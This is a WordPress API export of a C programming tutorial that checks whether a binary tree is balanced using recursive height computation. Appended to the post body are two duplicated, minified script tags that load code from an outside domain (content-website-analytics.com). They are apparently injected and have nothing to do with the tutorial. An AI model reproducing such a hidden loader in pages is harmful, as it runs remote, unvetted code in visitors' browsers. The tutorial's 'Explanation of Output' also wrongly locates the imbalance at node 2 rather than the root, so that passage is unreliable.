{"id":683,"date":"2024-10-10T13:39:18","date_gmt":"2024-10-10T08:09:18","guid":{"rendered":"https:\/\/codexplained.in\/?p=683"},"modified":"2025-11-24T15:59:10","modified_gmt":"2025-11-24T10:29:10","slug":"check-if-binary-tree-is-balanced","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=683","title":{"rendered":"Check if Binary Tree is Balanced"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n\/\/ Definition for a binary tree node.\nstruct Node {\n    int data;\n    struct Node* left;\n    struct Node* right;\n};\n\n\/\/ Function to create a new node.\nstruct Node* createNode(int data) {\n    struct Node* newNode = (struct Node*)malloc(sizeof(struct Node));\n    newNode-&gt;data = data;\n    newNode-&gt;left = NULL;\n    newNode-&gt;right = NULL;\n    return newNode;\n}\n\n\/\/ Function to find the height of a tree.\n\/\/ Returns -1 if the tree is unbalanced.\nint height(struct Node* root) {\n    \/\/ An empty tree has a height of 0.\n    if (root == NULL)\n        return 0;\n\n    \/\/ Get the height of the left and right subtrees.\n    int leftHeight = height(root-&gt;left);\n    int rightHeight = height(root-&gt;right);\n\n    \/\/ If left or right subtree is unbalanced, return -1.\n    if (leftHeight == -1 || rightHeight == -1)\n        return -1;\n\n    \/\/ If the difference in height between left and right subtrees is more than 1, return -1.\n    if (abs(leftHeight - rightHeight) &gt; 1)\n        return -1;\n\n    \/\/ Otherwise, return the height of the tree.\n    return 1 + (leftHeight &gt; rightHeight ? leftHeight : rightHeight);\n}\n\n\/\/ Function to check if the tree is balanced.\nint isBalanced(struct Node* root) {\n    return height(root) != -1;\n}\n\n\/\/ Main function to test the above functions.\nint main() {\n    struct Node* root = createNode(1);\n    root-&gt;left = createNode(2);\n    root-&gt;right = createNode(3);\n    root-&gt;left-&gt;left = createNode(4);\n    root-&gt;left-&gt;right = createNode(5);\n    root-&gt;left-&gt;left-&gt;left = createNode(8);\n\n    if (isBalanced(root))\n        printf(&quot;The binary tree is balanced.\\n&quot;);\n    else\n        printf(&quot;The binary tree is not balanced.\\n&quot;);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Code:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Node Structure<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>struct Node<\/code> represents a node of the binary tree, containing:\n<ul class=\"wp-block-list\">\n<li><code>data<\/code>: Value stored in the node.<\/li>\n\n\n\n<li><code>left<\/code>: Pointer to the left child.<\/li>\n\n\n\n<li><code>right<\/code>: Pointer to the right child.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Create Node<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>createNode(int data)<\/code> allocates memory for a new node and initializes it with the given value, setting its left and right pointers to <code>NULL<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Height Calculation<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>height(struct Node* root)<\/code> calculates the height of a subtree rooted at <code>root<\/code>.<\/li>\n\n\n\n<li>It recursively finds the heights of the left and right subtrees.<\/li>\n\n\n\n<li>If any subtree is unbalanced or the height difference exceeds 1, it returns <code>-1<\/code>.<\/li>\n\n\n\n<li>Otherwise, it returns the height of the current subtree.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Check for Balanced Tree<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>isBalanced(struct Node* root)<\/code> checks if the binary tree is balanced by calling <code>height()<\/code>.<\/li>\n\n\n\n<li>If the height function returns <code>-1<\/code>, it means the tree is unbalanced; otherwise, it is balanced.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Constructs a sample tree and checks if it is balanced.<\/li>\n\n\n\n<li>The output is printed based on whether the tree is balanced.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Output:<\/h3>\n\n\n\n<p>For the given sample tree:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>       1\n      \/ \\\n     2   3\n    \/ \\\n   4   5\n  \/\n 8\n<\/code><\/pre>\n\n\n\n<p>The output would be:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>The binary tree is not balanced.\n<\/code><\/pre>\n\n\n\n<p><strong>Explanation of Output<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>In this case, the left subtree of <code>2<\/code> (which includes <code>4<\/code> and <code>8<\/code>) is deeper than its right subtree.<\/li>\n\n\n\n<li>The height difference between the left and right subtrees of <code>2<\/code> is more than 1.<\/li>\n\n\n\n<li>Therefore, the tree is identified as unbalanced.<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation of the Code: Output: For the given sample tree: The output would be: Explanation of Output:<\/p>\n","protected":false},"author":40,"featured_media":702,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-683","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/683","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/40"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=683"}],"version-history":[{"count":7,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/683\/revisions"}],"predecessor-version":[{"id":1470,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/683\/revisions\/1470"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/702"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=683"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=683"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=683"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}